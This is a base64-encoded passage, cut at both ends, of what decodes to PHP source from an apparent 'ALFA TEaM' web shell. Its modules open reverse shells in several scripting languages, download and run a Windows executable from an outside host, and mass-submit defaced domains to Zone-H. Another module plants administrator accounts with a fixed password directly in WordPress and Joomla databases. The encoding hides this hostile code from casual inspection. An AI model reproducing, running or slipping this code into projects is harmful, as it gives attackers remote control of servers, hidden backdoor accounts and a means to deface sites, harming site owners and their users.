+JHZhbCl7ZWNobygiPG9wdGlvbiB2YWx1ZT0neyRrZXl9JyAiLigkR0xPQkFMU1snc3lzJ109PSd3aW4nPydzZWxlY3RlZCc6JycpLiI+eyR2YWx9PC9vcHRpb24+Iik7fQ0KZWNobyAiPC9zZWxlY3Q+IDxkaXYgaWQ9J2JjaXBBY3Rpb24nIHN0eWxlPSdkaXNwbGF5OmlubGluZS1ibG9jazsnPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+SVA6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+PC9kaXY+IDxkaXYgY2xhc3M9XCJ0eHRmb250XCI+UG9ydDogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc1JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMjAxMic+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PHA+PGRpdiBpZD0nYmNTdGF0dXMnPjxzbWFsbD5SdW4gYCA8Zm9udCBjb2xvcj0ncmVkJz5uYyAtbCAtdiAtcCBwb3J0PC9mb250PiBgIG9uIHlvdXIgY29tcHV0ZXIgYW5kIHByZXNzIGAgPGZvbnQgY29sb3I9J3JlZCc+Pj48L2ZvbnQ+IGAgYnV0dG9uPC9zbWFsbD48L2Rpdj48L3A+PC9jZW50ZXI+PC9iPjwvZm9udD48YnI+IjsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkmJiFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsNCiRsYW5nID0gJF9QT1NUWydhbGZhMSddOw0KJGlwID0gJF9QT1NUWydhbGZhMiddOw0KJHBvcnQgPSAkX1BPU1RbJ2FsZmEzJ107DQokYXJnID0gKCRfUE9TVFsnYWxmYTQnXT09J2JpbmQnPyRwb3J0OiRwb3J0LicgJy4kaXApOw0KJHRtcGRpciA9IEFMRkFfVEVNUERJUjsNCiRuYW1lID0gJHRtcGRpci4nLycuJGxhbmcudW5pcWlkKCkucmFuZCgxLDk5OTk5KTsNCiRhbGxvdyA9IGFycmF5KCdwZXJsJywncnVieScsJ3B5dGhvbicsJ25vZGUnKTsNCmV2YWwoJyRsYW49JCcuJGxhbmcuJzsnKTsNCmlmKGluX2FycmF5KCRsYW5nLCRhbGxvdykpew0KaWYoX193cml0ZV9maWxlKCRuYW1lLF9fZ2V0X3Jlc291cmNlKCRsYW4pKSl7DQppZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsNCiRvcyA9ICgkR0xPQkFMU1snc3lzJ10hPSd3aW4nKT8nMT4vZGV2L251bGwgMj4mMSAmJzonJzsNCiRvdXQgPSBhbGZhRXgoIiRsYW5nICRuYW1lICRhcmcgJG9zIik7DQppZigkb3V0PT0nJyl7JG91dD0iPGZvbnQgY29sb3I9J2dyZWVuJz48Y2VudGVyPlsgRmluaXNoZWQuLi4hIF08L2NlbnRlcj48L2ZvbnQ+Ijt9DQplY2hvKCI8cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+eyRvdXR9PC9wcmU+Iik7DQp9DQp9ZWxzZXsNCmVjaG8oIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGZvbnQgY29sb3I9J3JlZCc+PGNlbnRlcj5bIEZhaWxlZC4uLiEgXTwvY2VudGVyPjwvZm9udD48L3ByZT4iKTsNCn0NCn0NCmlmKCRsYW5nPT0namF2YSd8fCRsYW5nPT0nYycpew0KJGNvZGUgPSBfX2dldF9yZXNvdXJjZSgkbGFuKTsNCiRvdXQgPSBubDJicihiY2luaXQoJGxhbmcsICRjb2RlLCcnLCcnKSk7DQplY2hvKCI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxjZW50ZXI+eyRvdXR9PC9jZW50ZXI+PC9wcmU+Iik7DQp9DQppZigkbGFuZz09J2Jjd2luJyl7DQokYWxmYSA9IG5ldyBBbGZhQ1VSTCgpOw0KJHMgPSAkYWxmYS0+U2VuZCgnaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9iYy93aW5kb3dzLmV4ZScpOw0KJHRtcGRpciA9IEFMRkFfVEVNUERJUjsNCiRmID0gQGZvcGVuKCR0bXBkaXIuJy9iY3dpbi5leGUnLCd3KycpOw0KQGZ3cml0ZSgkZiwgJHMpOw0KQGZjbG9zZSgkZik7DQokb3V0ID0gYWxmYUV4KCR0bXBkaXIuIi9iY3dpbi5leGUgIi4kX1BPU1RbJ2FsZmEyJ10uIiAiLiRfUE9TVFsnYWxmYTMnXSk7DQp9DQppZigkbGFuZz09J3BocCcpew0KZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4iOw0KJGNvZGUgPSBfX2dldF9yZXNvdXJjZSgkbGFuKTsNCmlmKCRjb2RlIT09ZmFsc2Upew0KJGNvZGUgPSAiXCR0YXJnZXQgPSBcIiIuJGFyZy4iXCI7XG4iLiRjb2RlOw0KZXZhbCgkY29kZSk7DQplY2hvKCI8Y2VudGVyPjxmb250IGNvbG9yPSdncmVlbic+WyBGaW5pc2hlZC4uLiEgXTwvZm9udD48L2NlbnRlcj4iKTsNCn0NCmVjaG8gIjwvcHJlPiI7DQp9DQp9DQplY2hvICI8L2Rpdj4iOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYXpvbmVoKCl7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKXsNCmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+PGI+PGJpZz48YmlnPlBIUCBDVVJMIE5PVCBFWElTVCB+IFpPTkUgSCBNQVNTIFBPU1RFUiBET0VTIE5PVCBXT1JLPC9iPjwvZm9udD48L2JpZz48L2JpZz48L2NlbnRlcj48L3ByZT4iOw0KfQ0KJGhhY2ttb2RlID0gYXJyYXkoJ2tub3duIHZ1bG5lcmFiaWxpdHkgKGkuZS4gdW5wYXRjaGVkIHN5c3RlbSknLCd1bmRpc2Nsb3NlZCAobmV3KSB2dWxuZXJhYmlsaXR5JywnY29uZmlndXJhdGlvbiAvIGFkbWluLiBtaXN0YWtlJywnYnJ1dGUgZm9yY2UgYXR0YWNrJywnc29jaWFsIGVuZ2luZWVyaW5nJywnV2ViIFNlcnZlciBpbnRydXNpb24nLCdXZWIgU2VydmVyIGV4dGVybmFsIG1vZHVsZSBpbnRydXNpb24nLCdNYWlsIFNlcnZlciBpbnRydXNpb24nLCdGVFAgU2VydmVyIGludHJ1c2lvbicsJ1NTSCBTZXJ2ZXIgaW50cnVzaW9uJywnVGVsbmV0IFNlcnZlciBpbnRydXNpb24nLCdSUEMgU2VydmVyIGludHJ1c2lvbicsJ1NoYXJlcyBtaXNjb25maWd1cmF0aW9uJywnT3RoZXIgU2VydmVyIGludHJ1c2lvbicsJ1NRTCBJbmplY3Rpb24nLCdVUkwgUG9pc29uaW5nJywnRmlsZSBJbmNsdXNpb24nLCdPdGhlciBXZWIgQXBwbGljYXRpb24gYnVnJywnUmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBicnV0ZWZvcmNpbmcnLCdSZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHBhc3N3b3JkIGd1ZXNzaW5nJywnUmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBzb2NpYWwgZW5naW5lZXJpbmcnLCdBdHRhY2sgYWdhaW5zdCBhZG1pbmlzdHJhdG9yKHBhc3N3b3JkIHN0ZWFsaW5nL3NuaWZmaW5nKScsJ0FjY2VzcyBjcmVkZW50aWFscyB0aHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIGF0dGFjaycsJ1JlbW90ZSBzZXJ2aWNlIHBhc3N3b3JkIGd1ZXNzaW5nJywnUmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgYnJ1dGVmb3JjZScsJ1Jlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsJywnUmVyb3V0aW5nIGFmdGVyIGF0dGFja2luZyB0aGUgUm91dGVyJywnRE5TIGF0dGFjayB0aHJvdWdoIHNvY2lhbCBlbmdpbmVlcmluZycsJ0ROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25pbmcnLCdOb3QgYXZhaWxhYmxlJywnQ3Jvc3MtU2l0ZSBTY3JpcHRpbmcnKTsNCiRyZWFzb24gPSBhcnJheSgnSGVoLi4uanVzdCBmb3IgZnVuIScsJ1JldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGUnLCdQb2xpdGljYWwgcmVhc29ucycsJ0FzIGEgY2hhbGxlbmdlJywnSSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcicsJ1BhdHJpb3Rpc20nLCdOb3QgYXZhaWxhYmxlJyk7DQplY2hvICcNCjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFpvbmUtaCBNYXNzIFBvc3RlciB8PC9kaXY+PGNlbnRlcj48YnI+DQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0iZyhcJ3pvbmVoXCcsbnVsbCx0aGlzLmRlZmFjZXIudmFsdWUsdGhpcy5oYWNrbW9kZS52YWx1ZSx0aGlzLnJlYXNvbi52YWx1ZSx0aGlzLmRvbWFpbi52YWx1ZSxcJz4+XCcpOyByZXR1cm4gZmFsc2U7Ij4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZhY2VyIiBzaXplPSI2NyIgaWQ9InRleHQiIHBsYWNlaG9sZGVyPSJBTEZBIFRFYU0gMjAxMiIgLz4NCjxicj4NCjxzZWxlY3QgaWQ9InRleHQiIG5hbWU9ImhhY2ttb2RlIiBzdHlsZT0id2lkdGg6NDAwcHg7Ij4nOw0KJHg9MTsNCmZvcmVhY2goJGhhY2ttb2RlIGFzICRtb2RlKXtlY2hvKCc8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iJy4keC4nIj4nLiRtb2RlLic8L29wdGlvbj4nKTskeCsrO30NCmVjaG8gJzwvc2VsZWN0Pjxicj48c2VsZWN0IGlkPSJ0ZXh0IiBuYW1lPSJyZWFzb24iIHN0eWxlPSJ3aWR0aDoyMDBweDsiPic7DQokeD0xOw0KZm9yZWFjaCgkcmVhc29uIGFzICRtb2RlKXtlY2hvKCc8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iJy4keC4nIj4nLiRtb2RlLic8L29wdGlvbj4nKTskeCsrO30NCmVjaG8gJzwvc2VsZWN0Pjxicj4NCjx0ZXh0YXJlYSBuYW1lPSJkb21haW4iIGNvbHM9IjkwIiByb3dzPSIyMCIgcGxhY2Vob2xkZXI9IkRvbWFpbnMuLi4iPjwvdGV4dGFyZWE+PGJyPg0KPHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9ImdvIiAvPjwvcD4NCjwvZm9ybT48L2NlbnRlcj4nOw0KaWYoJF9QT1NUWydhbGZhNSddICYmICRfUE9TVFsnYWxmYTUnXSA9PSAnPj4nKXsNCm9iX3N0YXJ0KCk7DQokaGFja2VyID0gJF9QT1NUWydhbGZhMSddOw0KJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTInXTsNCiRuZWRlbiA9ICRfUE9TVFsnYWxmYTMnXTsNCiRzaXRlID0gJF9QT1NUWydhbGZhNCddOw0KaWYoZW1wdHkoJGhhY2tlcikpew0KZGllIChfX3ByZSgpLiI8Y2VudGVyPjxiPjxmb250IGNvbG9yID1cIiNGRjAwMDBcIj5bK10gWU9VIE1VU1QgRklMTCBUSEUgQVRUQUNLRVIgTkFNRSBbK108L2ZvbnQ+PC9iPjwvY2VudGVyPiIpOw0KfWVsc2VpZigkbWV0aG9kID09ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIil7DQpkaWUoX19wcmUoKS4iPGNlbnRlcj48Yj48Zm9udCBjb2xvciA9XCIjRkYwMDAwXCI+WytdIFlPVSBNVVNUIFNFTEVDVCBUSEUgTUVUSE9EIFsrXTwvYj48L2ZvbnQ+PC9jZW50ZXI+Iik7DQp9ZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tU0VMRUNULS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIpew0KZGllKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBTRUxFQ1QgVEhFIFJFQVNPTiBbK108L2I+PC9mb250PjwvY2VudGVyPiIpOw0KfWVsc2VpZihlbXB0eSgkc2l0ZSkpew0KZGllKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBJTlRFUiBUSEUgU0lURVMgTElTVCBbK108Zm9udD48L2I+PC9jZW50ZXI+Iik7DQp9DQokaSA9IDA7DQokc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRzaXRlKTsNCiRhbGZhID0gbmV3IEFsZmFDVVJMKCk7DQp3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpew0KaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIil7DQokc2l0ZXNbJGldID0gImh0dHA6Ly8iLiRzaXRlc1skaV07DQp9DQokYWxmYS0+U2VuZCgiaHR0cDovL3d3dy56b25lLWguY29tL25vdGlmeS9zaW5nbGUiLCJwb3N0IiwiZGVmYWNlcj0iLiRoYWNrZXIuIiZkb21haW4xPSIuICRzaXRlc1skaV0uIiZoYWNrbW9kZT0iLiRtZXRob2QuIiZyZWFzb249Ii4kbmVkZW4pOw0KKyskaTsNCn0NCmVjaG8gX19wcmUoKS4iPGNlbnRlcj48Zm9udCBjb2xvciA9XCIjMDBBMjIwXCI+PGI+WytdIFNlbmRpbmcgU2l0ZXMgVG8gWm9uZS1IIEhhcyBCZWVuIENvbXBsZXRlZCBTdWNjZXNzZnVsbHkgISEhWytdPC9iPjxmb250PjwvY2VudGVyPiI7DQp9DQplY2hvICI8L2Rpdj4iOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYXB3Y2hhbmdlcigpew0KYWxmYWhlYWQoKTsNCg0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48YnI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQWRkIE5ldyBBZG1pbiB8PC9kaXY+DQo8Y2VudGVyPjxoMz4nOw0KJHZhbHMgPSBhcnJheSgnV29yZFByZXNzJyA9PiBhcnJheSgnd3AnLDIpLCdKb29tbGEnID0+IGFycmF5KCdqb29tbGEnLDMpLCd2QnVsbGV0aW4nID0+IGFycmF5KCd2YicsNSksJ3BocEJCJyA9PiBhcnJheSgncGhwYmInLDYpLCdXSE1DUycgPT4gYXJyYXkoJ3dobWNzJyw3KSwnTXlCQicgPT4gYXJyYXkoJ215YmInLDgpLCdQaHAgTnVrZScgPT4gYXJyYXkoJ251a2UnLDkpLCdEcnVwYWwnID0+IGFycmF5KCdkcnVwYWwnLDEwKSwnU01GJyA9PiBhcnJheSgnc21mJywxMSkpOw0KQWxmYV9DcmVhdGVfQV9UYWcoJ3B3Y2hhbmdlcicsJHZhbHMpOw0KZWNobyAnPC9oMz48L2NlbnRlcj4nOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmJF9QT1NUWydhbGZhMSddPT0nd3AnKXsNCg0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgV29yZFByZXNzIHw8L2Rpdj4NCjxwPicuZ2V0Q29uZmlnSHRtbCgnd3AnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJ3dwXCcsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywnaWQnPT4nZGJfaG9zdCcsICdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDInID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ1JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICd3cF8nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ2JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDcnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAna2gnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwNCiAndGQ4JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpDQopOw0KY3JlYXRlX3RhYmxlKCR0YWJsZSk7DQplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT4nOw0KaWYgKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJz4+Jyl7DQokbG9jYWxob3N0ID0gJF9QT1NUWydhbGZhMyddOw0KJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhNCddOw0KJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOw0KJHBhc3N3b3JkID0gJF9QT1NUWydhbGZhNiddOw0KJGFkbWluID0gJF9QT1NUWydhbGZhOCddOw0KJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsNCiRwcmVmaXggPSAkX1BPU1RbJ2FsZmExMCddOw0KJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzIChJRCx1c2VyX2xvZ2luLHVzZXJfcGFzcyx1c2VyX2VtYWlsKSB2YWx1ZXMobnVsbCwnJGFkbWluJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnLCckU1FMJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IElEIGZyb20gIi4kcHJlZml4LiJ1c2VycyB3aGVyZSB1c2VyX2xvZ2luPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xlID0gQG15c3FsaV9udW1fcm93cygkc29sZXZpc2libGUpOw0KaWYgKCRzb2xlID09IDEpew0KJHNvbGV2aXMgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRzb2xldmlzaWJsZSk7DQokcmVzID0gJHNvbGV2aXNbJ0lEJ107DQp9DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VybWV0YSAodW1ldGFfaWQsdXNlcl9pZCxtZXRhX2tleSxtZXRhX3ZhbHVlKSB2YWx1ZXMobnVsbCwnIi4kcmVzLiInLCdmaXJzdF9uYW1lJywnc29sZXZpc2libGUnKSwobnVsbCwnIi4kcmVzLiInLCdsYXN0X25hbWUnLCdzb2xldmlzaWJsZScpLChudWxsLCciLiRyZXMuIicsJ25pY2tuYW1lJywnc29sZXZpc2libGUnKSwobnVsbCwnIi4kcmVzLiInLCdkZXNjcmlwdGlvbicsJ3NvbGV2aXNpYmxlJyksKG51bGwsJyIuJHJlcy4iJywncmljaF9lZGl0aW5nJywndHJ1ZScpLChudWxsLCciLiRyZXMuIicsJ2NvbW1lbnRfc2hvcnRjdXRzJywnZmFsc2UnKSwobnVsbCwnIi4kcmVzLiInLCdhZG1pbl9jb2xvcicsJ2ZyZXNoJyksKG51bGwsJyIuJHJlcy4iJywndXNlX3NzbCcsJzAnKSwobnVsbCwnIi4kcmVzLiInLCdzaG93X2FkbWluX2Jhcl9mcm9udCcsJ3RydWUnKSwobnVsbCwnIi4kcmVzLiInLCciLiRwcmVmaXguImNhcGFiaWxpdGllcycsJ2E6MTp7czoxMzpcImFkbWluaXN0cmF0b3JcIjtiOjE7fScpLChudWxsLCciLiRyZXMuIicsJyIuJHByZWZpeC4idXNlcl9sZXZlbCcsJzEwJyksKG51bGwsJyIuJHJlcy4iJywnc2hvd193ZWxjb21lX3BhbmVsJywnMScpLChudWxsLCciLiRyZXMuIicsJyIuJHByZWZpeC4iZGFzaGJvYXJkX3F1aWNrX3ByZXNzX2xhc3RfcG9zdF9pZCcsJzMnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCmlmKCRzb2xldmlzaWJsZSl7DQpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30NCn0NCn0NCmlmKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJ2pvb21sYScpew0KDQplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBKb29tbGEgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnam9vbWxhJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLFwnam9vbWxhXCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJ2pvc18nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ2JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDcnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksDQogJ3RkOCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTMnXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTs